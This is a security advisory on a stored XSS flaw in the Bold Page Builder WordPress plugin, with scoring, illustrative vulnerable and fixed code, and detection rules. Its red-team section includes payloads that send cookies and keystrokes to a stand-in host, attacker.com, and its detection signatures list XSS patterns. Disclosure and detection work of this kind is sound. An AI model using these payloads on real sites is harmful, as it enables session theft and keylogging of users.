CVE-2024-47298

Executive Summary

CVE-2024-47298 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin by Bold-Themes, affecting versions up to and including 5.1.1. This flaw allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages or posts. When a site administrator or other user views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin’s update channel and consider temporary removal if the plugin is not critical. Since the plugin is a commercial product, supply chain risk includes delayed patching or abandonment.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Admin viewing)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can escalate if an admin account is compromised.

Deep Dive & Mechanics

The Bold Page Builder plugin uses shortcodes and custom fields to render page elements. The vulnerability exists in the boldthemes_bp shortcode handler, where user-supplied attributes (e.g., title, subtitle, or custom CSS classes) are not properly sanitized before being output in the HTML. An attacker with contributor privileges can create or edit a page/post and inject malicious JavaScript into these fields. When the page is rendered, the script executes in the context of the viewing user’s session.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, allowing HTML/JavaScript to pass through without proper encoding. The wp_kses_post function allows certain HTML tags but does not prevent inline event handlers like onmouseover or onclick.

Attack Flow:

1. Attacker logs in as a contributor.
2. Creates a new page and inserts a Bold Page Builder element.
3. Injects a payload like <img src=x onerror=alert(document.cookie)> into a text field.
4. Saves/publishes the page.
5. Admin or other user visits the page → payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

function boldthemes_bp_shortcode($atts) {
    extract(shortcode_atts(array(
        'title' => '',
        'subtitle' => ''
    ), $atts));
    echo '<h2>' . $title . '</h2>'; // No sanitization
    echo '<p>' . $subtitle . '</p>';
}

Patched Code (expected):

function boldthemes_bp_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'subtitle' => ''
    ), $atts);
    echo '<h2>' . esc_html($atts['title']) . '</h2>';
    echo '<p>' . esc_html($atts['subtitle']) . '</p>';
}

The patch would use esc_html() or wp_kses() with a restricted set of allowed tags to prevent script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Bold Page Builder <= 5.1.1
• Contributor-level account

Exploitation Steps:

1. Log in as contributor.
2. Navigate to Pages → Add New.
3. Add a Bold Page Builder element (e.g., Heading).
4. In the "Title" field, enter:

   <img src=x onerror=alert('XSS')>
   

5. Publish the page.
6. Send the page URL to an admin user.

Payload Examples:

• Session cookie theft:

  <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  

• Keylogger:

  <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
  

Blue Team

Detection:

• Monitor for unusual shortcode usage in page/post content.
• Look for onerror, onload, onclick, or <script> tags in custom fields.
• Use WAF rules to block common XSS patterns.

Hunting Query (SQL):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%onerror%'
   OR post_content LIKE '%<script>%'
   OR post_content LIKE '%onload%';

Log Analysis:

• Check Apache/Nginx access logs for requests containing %3Cscript%3E or onerror.
• Review WordPress audit logs for contributor-level page edits.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified wp-content/plugins/bold-page-builder/ files (check file integrity).
  • Suspicious entries in wp_posts table with post_content containing XSS payloads.

• Network Indicators:

  • Outbound connections to unknown domains from WordPress server.
  • HTTP requests with onerror, onload, or <script> in POST data.

• Behavioral Indicators:

  • Contributor accounts creating pages with unusual HTML/JavaScript.
  • Admin accounts experiencing unexpected redirects or pop-ups.

Detection Engineering

YARA Rule

rule CVE_2024_47298_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Bold Page Builder"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-47298"
    strings:
        $xss1 = /onerror\s*=\s*['\"][^'\"]*['\"]/ nocase
        $xss2 = /onload\s*=\s*['\"][^'\"]*['\"]/ nocase
        $xss3 = /<script\b[^>]*>/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-47298 Stored XSS in Bold Page Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - 'onerror='
            - 'onload='
            - '<script>'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47298 Stored XSS Payload Outbound"; flow:to_server,established; content:"onerror"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Restrict contributor roles to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block common XSS patterns.

Long-Term Fix:

• Apply the vendor patch once released (currently UNKNOWN).
• If patching is delayed, manually edit the plugin files to add esc_html() to all output functions.
• Consider replacing the plugin with an alternative page builder.

Detection:

• Deploy the YARA/Sigma rules above.
• Enable WordPress security plugins (e.g., Wordfence) with XSS protection.

Valters IT
DevSecOps & Cyber Threat Intelligence